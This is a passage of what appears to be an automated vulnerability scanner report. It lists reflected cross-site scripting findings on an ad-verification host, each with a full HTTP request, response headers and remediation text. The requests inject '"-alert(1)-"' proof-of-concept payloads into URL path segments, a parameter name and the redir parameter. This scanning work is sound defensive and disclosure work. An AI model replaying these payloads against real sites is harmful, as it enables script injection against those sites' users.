Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /rjsi/dcb5158"-alert(1)-"293bd78879f/10625/165711/adi/N5282.161249.ADNETIK.COM/B5256632.283;sz=300x250;pc=[TPAS_ID];click0=http://o-va3.wtp101.com/click?bc=CgVvcGVueBIkMmQ3NDZmNTAtNmY5Yi00NmZiLWJlZmItNmM1YjNmYzNmYzAwIW3yiNFWl-A.KAowowU47amfhAdAxPVVSgczMDB4MjUwWhNodHRwOi8vd3d3LmdvYWwuY29tYghnb2FsLmNvbXoA-gEkYjViZWQzMjItMGQ0Zi1mODYwLWY1ZTktMTE5MDc4Mjk3ZDY1gAKNjQSIAhmQAtoT2gMNNTAuMjMuMTIzLjEwNuIDAlVT6gMCVFjwA-8E-gMGRGFsbGFzggQAigQCZW6SBAJlbpoEak1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQpIEFwcGxlV2ViS2l0LzUzNS4xIChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzE0LjAuODM1LjE4NyBTYWZhcmkvNTM1LjGiBAZDaHJvbWWyBCQ5NDY5N2IzZi00YThlLWU4ZmQtNTZkMi1lNDI4MGU2ZWIyNTK6BCRmOWJkY2E2OS1lNjA5LTQyOTctOTE0NS00OGVhNTZhMDc1NmPgBADpBAAAAAAAAAAA8QQAAAAAAAAAAPgEAIAFAYIHB1dpbmRvd3M%3D&redir=;ord=1576327943? HTTP/1.1 Host: fw.adsafeprotected.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://o-va3.wtp101.com/imp?bc=CgVvcGVueBIkMmQ3NDZmNTAtNmY5Yi00NmZiLWJlZmItNmM1YjNmYzNmYzAwIW3yiNFWl-A.KAowowU47amfhAdAxPVVSgczMDB4MjUwWhNodHRwOi8vd3d3LmdvYWwuY29tYghnb2FsLmNvbXoA-gEkYjViZWQzMjItMGQ0Zi1mODYwLWY1ZTktMTE5MDc4Mjk3ZDY1gAKNjQSIAhmQAtoT2gMNNTAuMjMuMTIzLjEwNuIDAlVT6gMCVFjwA-8E-gMGRGFsbGFzggQAigQCZW6SBAJlbpoEak1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQpIEFwcGxlV2ViS2l0LzUzNS4xIChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzE0LjAuODM1LjE4NyBTYWZhcmkvNTM1LjGiBAZDaHJvbWWyBCQ5NDY5N2IzZi00YThlLWU4ZmQtNTZkMi1lNDI4MGU2ZWIyNTK6BCRmOWJkY2E2OS1lNjA5LTQyOTctOTE0NS00OGVhNTZhMDc1NmPpBAAAAAAAAAAA8QQAAAAAAAAAAPgEAIAFAYIHB1dpbmRvd3M=&prc=AAABMscXh9X2XSOH7kO_fDwCKqa4H0Cvxg-Sdg Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=DA8C3EB6580BDA74A6A3C507C2885868; Path=/ Content-Type: text/html Date: Mon, 03 Oct 2011 00:03:22 GMT Connection: close
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8d5a4"-alert(1)-"8cca82e364c was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /rjsi/dc/106258d5a4"-alert(1)-"8cca82e364c/165711/adi/N5282.161249.ADNETIK.COM/B5256632.283;sz=300x250;pc=[TPAS_ID];click0=http://o-va3.wtp101.com/click?bc=CgVvcGVueBIkMmQ3NDZmNTAtNmY5Yi00NmZiLWJlZmItNmM1YjNmYzNmYzAwIW3yiNFWl-A.KAowowU47amfhAdAxPVVSgczMDB4MjUwWhNodHRwOi8vd3d3LmdvYWwuY29tYghnb2FsLmNvbXoA-gEkYjViZWQzMjItMGQ0Zi1mODYwLWY1ZTktMTE5MDc4Mjk3ZDY1gAKNjQSIAhmQAtoT2gMNNTAuMjMuMTIzLjEwNuIDAlVT6gMCVFjwA-8E-gMGRGFsbGFzggQAigQCZW6SBAJlbpoEak1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQpIEFwcGxlV2ViS2l0LzUzNS4xIChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzE0LjAuODM1LjE4NyBTYWZhcmkvNTM1LjGiBAZDaHJvbWWyBCQ5NDY5N2IzZi00YThlLWU4ZmQtNTZkMi1lNDI4MGU2ZWIyNTK6BCRmOWJkY2E2OS1lNjA5LTQyOTctOTE0NS00OGVhNTZhMDc1NmPgBADpBAAAAAAAAAAA8QQAAAAAAAAAAPgEAIAFAYIHB1dpbmRvd3M%3D&redir=;ord=1576327943? HTTP/1.1 Host: fw.adsafeprotected.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://o-va3.wtp101.com/imp?bc=CgVvcGVueBIkMmQ3NDZmNTAtNmY5Yi00NmZiLWJlZmItNmM1YjNmYzNmYzAwIW3yiNFWl-A.KAowowU47amfhAdAxPVVSgczMDB4MjUwWhNodHRwOi8vd3d3LmdvYWwuY29tYghnb2FsLmNvbXoA-gEkYjViZWQzMjItMGQ0Zi1mODYwLWY1ZTktMTE5MDc4Mjk3ZDY1gAKNjQSIAhmQAtoT2gMNNTAuMjMuMTIzLjEwNuIDAlVT6gMCVFjwA-8E-gMGRGFsbGFzggQAigQCZW6SBAJlbpoEak1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQpIEFwcGxlV2ViS2l0LzUzNS4xIChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzE0LjAuODM1LjE4NyBTYWZhcmkvNTM1LjGiBAZDaHJvbWWyBCQ5NDY5N2IzZi00YThlLWU4ZmQtNTZkMi1lNDI4MGU2ZWIyNTK6BCRmOWJkY2E2OS1lNjA5LTQyOTctOTE0NS00OGVhNTZhMDc1NmPpBAAAAAAAAAAA8QQAAAAAAAAAAPgEAIAFAYIHB1dpbmRvd3M=&prc=AAABMscXh9X2XSOH7kO_fDwCKqa4H0Cvxg-Sdg Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=9E55FC0BFE83E04647B4209467C8C4A9; Path=/ Content-Type: text/html Date: Mon, 03 Oct 2011 00:03:22 GMT Connection: close
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c2a71"-alert(1)-"18fbcbf40bd was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /rjsi/dc/10625/165711c2a71"-alert(1)-"18fbcbf40bd/adi/N5282.161249.ADNETIK.COM/B5256632.283;sz=300x250;pc=[TPAS_ID];click0=http://o-va3.wtp101.com/click?bc=CgVvcGVueBIkMmQ3NDZmNTAtNmY5Yi00NmZiLWJlZmItNmM1YjNmYzNmYzAwIW3yiNFWl-A.KAowowU47amfhAdAxPVVSgczMDB4MjUwWhNodHRwOi8vd3d3LmdvYWwuY29tYghnb2FsLmNvbXoA-gEkYjViZWQzMjItMGQ0Zi1mODYwLWY1ZTktMTE5MDc4Mjk3ZDY1gAKNjQSIAhmQAtoT2gMNNTAuMjMuMTIzLjEwNuIDAlVT6gMCVFjwA-8E-gMGRGFsbGFzggQAigQCZW6SBAJlbpoEak1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQpIEFwcGxlV2ViS2l0LzUzNS4xIChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzE0LjAuODM1LjE4NyBTYWZhcmkvNTM1LjGiBAZDaHJvbWWyBCQ5NDY5N2IzZi00YThlLWU4ZmQtNTZkMi1lNDI4MGU2ZWIyNTK6BCRmOWJkY2E2OS1lNjA5LTQyOTctOTE0NS00OGVhNTZhMDc1NmPgBADpBAAAAAAAAAAA8QQAAAAAAAAAAPgEAIAFAYIHB1dpbmRvd3M%3D&redir=;ord=1576327943? HTTP/1.1 Host: fw.adsafeprotected.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://o-va3.wtp101.com/imp?bc=CgVvcGVueBIkMmQ3NDZmNTAtNmY5Yi00NmZiLWJlZmItNmM1YjNmYzNmYzAwIW3yiNFWl-A.KAowowU47amfhAdAxPVVSgczMDB4MjUwWhNodHRwOi8vd3d3LmdvYWwuY29tYghnb2FsLmNvbXoA-gEkYjViZWQzMjItMGQ0Zi1mODYwLWY1ZTktMTE5MDc4Mjk3ZDY1gAKNjQSIAhmQAtoT2gMNNTAuMjMuMTIzLjEwNuIDAlVT6gMCVFjwA-8E-gMGRGFsbGFzggQAigQCZW6SBAJlbpoEak1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQpIEFwcGxlV2ViS2l0LzUzNS4xIChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzE0LjAuODM1LjE4NyBTYWZhcmkvNTM1LjGiBAZDaHJvbWWyBCQ5NDY5N2IzZi00YThlLWU4ZmQtNTZkMi1lNDI4MGU2ZWIyNTK6BCRmOWJkY2E2OS1lNjA5LTQyOTctOTE0NS00OGVhNTZhMDc1NmPpBAAAAAAAAAAA8QQAAAAAAAAAAPgEAIAFAYIHB1dpbmRvd3M=&prc=AAABMscXh9X2XSOH7kO_fDwCKqa4H0Cvxg-Sdg Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=BD959B6AEF33638B8DF2F06BF8277F0E; Path=/ Content-Type: text/html Date: Mon, 03 Oct 2011 00:03:21 GMT Connection: close
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f192d"-alert(1)-"d55e5a7138a was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /rjsi/dc/10625/165711/adif192d"-alert(1)-"d55e5a7138a/N5282.161249.ADNETIK.COM/B5256632.283;sz=300x250;pc=[TPAS_ID];click0=http://o-va3.wtp101.com/click?bc=CgVvcGVueBIkMmQ3NDZmNTAtNmY5Yi00NmZiLWJlZmItNmM1YjNmYzNmYzAwIW3yiNFWl-A.KAowowU47amfhAdAxPVVSgczMDB4MjUwWhNodHRwOi8vd3d3LmdvYWwuY29tYghnb2FsLmNvbXoA-gEkYjViZWQzMjItMGQ0Zi1mODYwLWY1ZTktMTE5MDc4Mjk3ZDY1gAKNjQSIAhmQAtoT2gMNNTAuMjMuMTIzLjEwNuIDAlVT6gMCVFjwA-8E-gMGRGFsbGFzggQAigQCZW6SBAJlbpoEak1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQpIEFwcGxlV2ViS2l0LzUzNS4xIChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzE0LjAuODM1LjE4NyBTYWZhcmkvNTM1LjGiBAZDaHJvbWWyBCQ5NDY5N2IzZi00YThlLWU4ZmQtNTZkMi1lNDI4MGU2ZWIyNTK6BCRmOWJkY2E2OS1lNjA5LTQyOTctOTE0NS00OGVhNTZhMDc1NmPgBADpBAAAAAAAAAAA8QQAAAAAAAAAAPgEAIAFAYIHB1dpbmRvd3M%3D&redir=;ord=1576327943? HTTP/1.1 Host: fw.adsafeprotected.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://o-va3.wtp101.com/imp?bc=CgVvcGVueBIkMmQ3NDZmNTAtNmY5Yi00NmZiLWJlZmItNmM1YjNmYzNmYzAwIW3yiNFWl-A.KAowowU47amfhAdAxPVVSgczMDB4MjUwWhNodHRwOi8vd3d3LmdvYWwuY29tYghnb2FsLmNvbXoA-gEkYjViZWQzMjItMGQ0Zi1mODYwLWY1ZTktMTE5MDc4Mjk3ZDY1gAKNjQSIAhmQAtoT2gMNNTAuMjMuMTIzLjEwNuIDAlVT6gMCVFjwA-8E-gMGRGFsbGFzggQAigQCZW6SBAJlbpoEak1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQpIEFwcGxlV2ViS2l0LzUzNS4xIChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzE0LjAuODM1LjE4NyBTYWZhcmkvNTM1LjGiBAZDaHJvbWWyBCQ5NDY5N2IzZi00YThlLWU4ZmQtNTZkMi1lNDI4MGU2ZWIyNTK6BCRmOWJkY2E2OS1lNjA5LTQyOTctOTE0NS00OGVhNTZhMDc1NmPpBAAAAAAAAAAA8QQAAAAAAAAAAPgEAIAFAYIHB1dpbmRvd3M=&prc=AAABMscXh9X2XSOH7kO_fDwCKqa4H0Cvxg-Sdg Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=D0E6B1852B91D5D61A99A14AD17B596F; Path=/ Content-Type: text/html Date: Mon, 03 Oct 2011 00:03:22 GMT Connection: close
The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cacc9"-alert(1)-"5c371b0f231 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /rjsi/dc/10625/165711/adi/N5282.161249.ADNETIK.COMcacc9"-alert(1)-"5c371b0f231/B5256632.283;sz=300x250;pc=[TPAS_ID];click0=http://o-va3.wtp101.com/click?bc=CgVvcGVueBIkMmQ3NDZmNTAtNmY5Yi00NmZiLWJlZmItNmM1YjNmYzNmYzAwIW3yiNFWl-A.KAowowU47amfhAdAxPVVSgczMDB4MjUwWhNodHRwOi8vd3d3LmdvYWwuY29tYghnb2FsLmNvbXoA-gEkYjViZWQzMjItMGQ0Zi1mODYwLWY1ZTktMTE5MDc4Mjk3ZDY1gAKNjQSIAhmQAtoT2gMNNTAuMjMuMTIzLjEwNuIDAlVT6gMCVFjwA-8E-gMGRGFsbGFzggQAigQCZW6SBAJlbpoEak1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQpIEFwcGxlV2ViS2l0LzUzNS4xIChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzE0LjAuODM1LjE4NyBTYWZhcmkvNTM1LjGiBAZDaHJvbWWyBCQ5NDY5N2IzZi00YThlLWU4ZmQtNTZkMi1lNDI4MGU2ZWIyNTK6BCRmOWJkY2E2OS1lNjA5LTQyOTctOTE0NS00OGVhNTZhMDc1NmPgBADpBAAAAAAAAAAA8QQAAAAAAAAAAPgEAIAFAYIHB1dpbmRvd3M%3D&redir=;ord=1576327943? HTTP/1.1 Host: fw.adsafeprotected.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://o-va3.wtp101.com/imp?bc=CgVvcGVueBIkMmQ3NDZmNTAtNmY5Yi00NmZiLWJlZmItNmM1YjNmYzNmYzAwIW3yiNFWl-A.KAowowU47amfhAdAxPVVSgczMDB4MjUwWhNodHRwOi8vd3d3LmdvYWwuY29tYghnb2FsLmNvbXoA-gEkYjViZWQzMjItMGQ0Zi1mODYwLWY1ZTktMTE5MDc4Mjk3ZDY1gAKNjQSIAhmQAtoT2gMNNTAuMjMuMTIzLjEwNuIDAlVT6gMCVFjwA-8E-gMGRGFsbGFzggQAigQCZW6SBAJlbpoEak1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQpIEFwcGxlV2ViS2l0LzUzNS4xIChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzE0LjAuODM1LjE4NyBTYWZhcmkvNTM1LjGiBAZDaHJvbWWyBCQ5NDY5N2IzZi00YThlLWU4ZmQtNTZkMi1lNDI4MGU2ZWIyNTK6BCRmOWJkY2E2OS1lNjA5LTQyOTctOTE0NS00OGVhNTZhMDc1NmPpBAAAAAAAAAAA8QQAAAAAAAAAAPgEAIAFAYIHB1dpbmRvd3M=&prc=AAABMscXh9X2XSOH7kO_fDwCKqa4H0Cvxg-Sdg Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=5A488FCBEAF7E64AD334958F04D83C6F; Path=/ Content-Type: text/html Date: Mon, 03 Oct 2011 00:03:23 GMT Connection: close
The value of REST URL parameter 7 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d3069"-alert(1)-"bcb2ac021ed was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /rjsi/dc/10625/165711/adi/N5282.161249.ADNETIK.COM/B5256632.283d3069"-alert(1)-"bcb2ac021ed;sz=300x250;pc=[TPAS_ID];click0=http://o-va3.wtp101.com/click?bc=CgVvcGVueBIkMmQ3NDZmNTAtNmY5Yi00NmZiLWJlZmItNmM1YjNmYzNmYzAwIW3yiNFWl-A.KAowowU47amfhAdAxPVVSgczMDB4MjUwWhNodHRwOi8vd3d3LmdvYWwuY29tYghnb2FsLmNvbXoA-gEkYjViZWQzMjItMGQ0Zi1mODYwLWY1ZTktMTE5MDc4Mjk3ZDY1gAKNjQSIAhmQAtoT2gMNNTAuMjMuMTIzLjEwNuIDAlVT6gMCVFjwA-8E-gMGRGFsbGFzggQAigQCZW6SBAJlbpoEak1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQpIEFwcGxlV2ViS2l0LzUzNS4xIChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzE0LjAuODM1LjE4NyBTYWZhcmkvNTM1LjGiBAZDaHJvbWWyBCQ5NDY5N2IzZi00YThlLWU4ZmQtNTZkMi1lNDI4MGU2ZWIyNTK6BCRmOWJkY2E2OS1lNjA5LTQyOTctOTE0NS00OGVhNTZhMDc1NmPgBADpBAAAAAAAAAAA8QQAAAAAAAAAAPgEAIAFAYIHB1dpbmRvd3M%3D&redir=;ord=1576327943? HTTP/1.1 Host: fw.adsafeprotected.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://o-va3.wtp101.com/imp?bc=CgVvcGVueBIkMmQ3NDZmNTAtNmY5Yi00NmZiLWJlZmItNmM1YjNmYzNmYzAwIW3yiNFWl-A.KAowowU47amfhAdAxPVVSgczMDB4MjUwWhNodHRwOi8vd3d3LmdvYWwuY29tYghnb2FsLmNvbXoA-gEkYjViZWQzMjItMGQ0Zi1mODYwLWY1ZTktMTE5MDc4Mjk3ZDY1gAKNjQSIAhmQAtoT2gMNNTAuMjMuMTIzLjEwNuIDAlVT6gMCVFjwA-8E-gMGRGFsbGFzggQAigQCZW6SBAJlbpoEak1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQpIEFwcGxlV2ViS2l0LzUzNS4xIChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzE0LjAuODM1LjE4NyBTYWZhcmkvNTM1LjGiBAZDaHJvbWWyBCQ5NDY5N2IzZi00YThlLWU4ZmQtNTZkMi1lNDI4MGU2ZWIyNTK6BCRmOWJkY2E2OS1lNjA5LTQyOTctOTE0NS00OGVhNTZhMDc1NmPpBAAAAAAAAAAA8QQAAAAAAAAAAPgEAIAFAYIHB1dpbmRvd3M=&prc=AAABMscXh9X2XSOH7kO_fDwCKqa4H0Cvxg-Sdg Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=7F6EBC3827678CA9C1C278DAD00E99C2; Path=/ Content-Type: text/html Date: Mon, 03 Oct 2011 00:03:22 GMT Connection: close
4.61. http://fw.adsafeprotected.com/rjsi/dc/10625/165711/adi/N5282.161249.ADNETIK.COM/B5256632.283 [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cb011"-alert(1)-"6b5839ea77b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /rjsi/dc/10625/165711/adi/N5282.161249.ADNETIK.COM/B5256632.283;sz=300x250;pc=[TPAS_ID];click0=http://o-va3.wtp101.com/click?bc=CgVvcGVueBIkMmQ3NDZmNTAtNmY5Yi00NmZiLWJlZmItNmM1YjNmYzNmYzAwIW3yiNFWl-A.KAowowU47amfhAdAxPVVSgczMDB4MjUwWhNodHRwOi8vd3d3LmdvYWwuY29tYghnb2FsLmNvbXoA-gEkYjViZWQzMjItMGQ0Zi1mODYwLWY1ZTktMTE5MDc4Mjk3ZDY1gAKNjQSIAhmQAtoT2gMNNTAuMjMuMTIzLjEwNuIDAlVT6gMCVFjwA-8E-gMGRGFsbGFzggQAigQCZW6SBAJlbpoEak1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQpIEFwcGxlV2ViS2l0LzUzNS4xIChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzE0LjAuODM1LjE4NyBTYWZhcmkvNTM1LjGiBAZDaHJvbWWyBCQ5NDY5N2IzZi00YThlLWU4ZmQtNTZkMi1lNDI4MGU2ZWIyNTK6BCRmOWJkY2E2OS1lNjA5LTQyOTctOTE0NS00OGVhNTZhMDc1NmPgBADpBAAAAAAAAAAA8QQAAAAAAAAAAPgEAIAFAYIHB1dpbmRvd3M%3D&redir=;ord=1576327943?&cb011"-alert(1)-"6b5839ea77b=1 HTTP/1.1 Host: fw.adsafeprotected.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://o-va3.wtp101.com/imp?bc=CgVvcGVueBIkMmQ3NDZmNTAtNmY5Yi00NmZiLWJlZmItNmM1YjNmYzNmYzAwIW3yiNFWl-A.KAowowU47amfhAdAxPVVSgczMDB4MjUwWhNodHRwOi8vd3d3LmdvYWwuY29tYghnb2FsLmNvbXoA-gEkYjViZWQzMjItMGQ0Zi1mODYwLWY1ZTktMTE5MDc4Mjk3ZDY1gAKNjQSIAhmQAtoT2gMNNTAuMjMuMTIzLjEwNuIDAlVT6gMCVFjwA-8E-gMGRGFsbGFzggQAigQCZW6SBAJlbpoEak1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQpIEFwcGxlV2ViS2l0LzUzNS4xIChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzE0LjAuODM1LjE4NyBTYWZhcmkvNTM1LjGiBAZDaHJvbWWyBCQ5NDY5N2IzZi00YThlLWU4ZmQtNTZkMi1lNDI4MGU2ZWIyNTK6BCRmOWJkY2E2OS1lNjA5LTQyOTctOTE0NS00OGVhNTZhMDc1NmPpBAAAAAAAAAAA8QQAAAAAAAAAAPgEAIAFAYIHB1dpbmRvd3M=&prc=AAABMscXh9X2XSOH7kO_fDwCKqa4H0Cvxg-Sdg Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=A582730ED9D3E7ACA7D653A8A640404F; Path=/ Content-Type: text/html Date: Mon, 03 Oct 2011 00:03:21 GMT Connection: close
The value of the redir request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 14d92"-alert(1)-"e11a01d09da was submitted in the redir parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /rjsi/dc/10625/165711/adi/N5282.161249.ADNETIK.COM/B5256632.283;sz=300x250;pc=[TPAS_ID];click0=http://o-va3.wtp101.com/click?bc=CgVvcGVueBIkMmQ3NDZmNTAtNmY5Yi00NmZiLWJlZmItNmM1YjNmYzNmYzAwIW3yiNFWl-A.KAowowU47amfhAdAxPVVSgczMDB4MjUwWhNodHRwOi8vd3d3LmdvYWwuY29tYghnb2FsLmNvbXoA-gEkYjViZWQzMjItMGQ0Zi1mODYwLWY1ZTktMTE5MDc4Mjk3ZDY1gAKNjQSIAhmQAtoT2gMNNTAuMjMuMTIzLjEwNuIDAlVT6gMCVFjwA-8E-gMGRGFsbGFzggQAigQCZW6SBAJlbpoEak1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQpIEFwcGxlV2ViS2l0LzUzNS4xIChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzE0LjAuODM1LjE4NyBTYWZhcmkvNTM1LjGiBAZDaHJvbWWyBCQ5NDY5N2IzZi00YThlLWU4ZmQtNTZkMi1lNDI4MGU2ZWIyNTK6BCRmOWJkY2E2OS1lNjA5LTQyOTctOTE0NS00OGVhNTZhMDc1NmPgBADpBAAAAAAAAAAA8QQAAAAAAAAAAPgEAIAFAYIHB1dpbmRvd3M%3D&redir=;ord=1576327943?14d92"-alert(1)-"e11a01d09da HTTP/1.1 Host: fw.adsafeprotected.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://o-va3.wtp101.com/imp?bc=CgVvcGVueBIkMmQ3NDZmNTAtNmY5Yi00NmZiLWJlZmItNmM1YjNmYzNmYzAwIW3yiNFWl-A.KAowowU47amfhAdAxPVVSgczMDB4MjUwWhNodHRwOi8vd3d3LmdvYWwuY29tYghnb2FsLmNvbXoA-gEkYjViZWQzMjItMGQ0Zi1mODYwLWY1ZTktMTE5MDc4Mjk3ZDY1gAKNjQSIAhmQAtoT2gMNNTAuMjMuMTIzLjEwNuIDAlVT6gMCVFjwA-8E-gMGRGFsbGFzggQAigQCZW6SBAJlbpoEak1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQpIEFwcGxlV2ViS2l0LzUzNS4xIChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzE0LjAuODM1LjE4NyBTYWZhcmkvNTM1LjGiBAZDaHJvbWWyBCQ5NDY5N2IzZi00YThlLWU4ZmQtNTZkMi1lNDI4MGU2ZWIyNTK6BCRmOWJkY2E2OS1lNjA5LTQyOTctOTE0NS00OGVhNTZhMDc1NmPpBAAAAAAAAAAA8QQAAAAAAAAAAPgEAIAFAYIHB1dpbmRvd3M=&prc=AAABMscXh9X2XSOH7kO_fDwCKqa4H0Cvxg-Sdg Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: 